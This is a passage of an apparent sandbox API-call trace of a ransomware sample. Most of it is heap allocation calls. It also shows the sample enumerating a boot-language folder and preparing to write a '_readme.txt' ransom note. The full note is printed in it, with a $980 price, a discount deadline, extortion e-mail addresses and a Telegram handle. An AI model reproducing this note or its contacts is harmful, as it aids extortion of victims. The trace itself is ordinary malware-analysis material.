(HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0266.288] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.288] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.288] PathFindFileNameW (pszPath="") returned="" [0266.289] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.289] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.289] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.289] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.289] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0266.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.289] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0266.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.290] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.290] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.290] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.291] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.291] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.291] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.291] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.291] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.291] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.295] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: 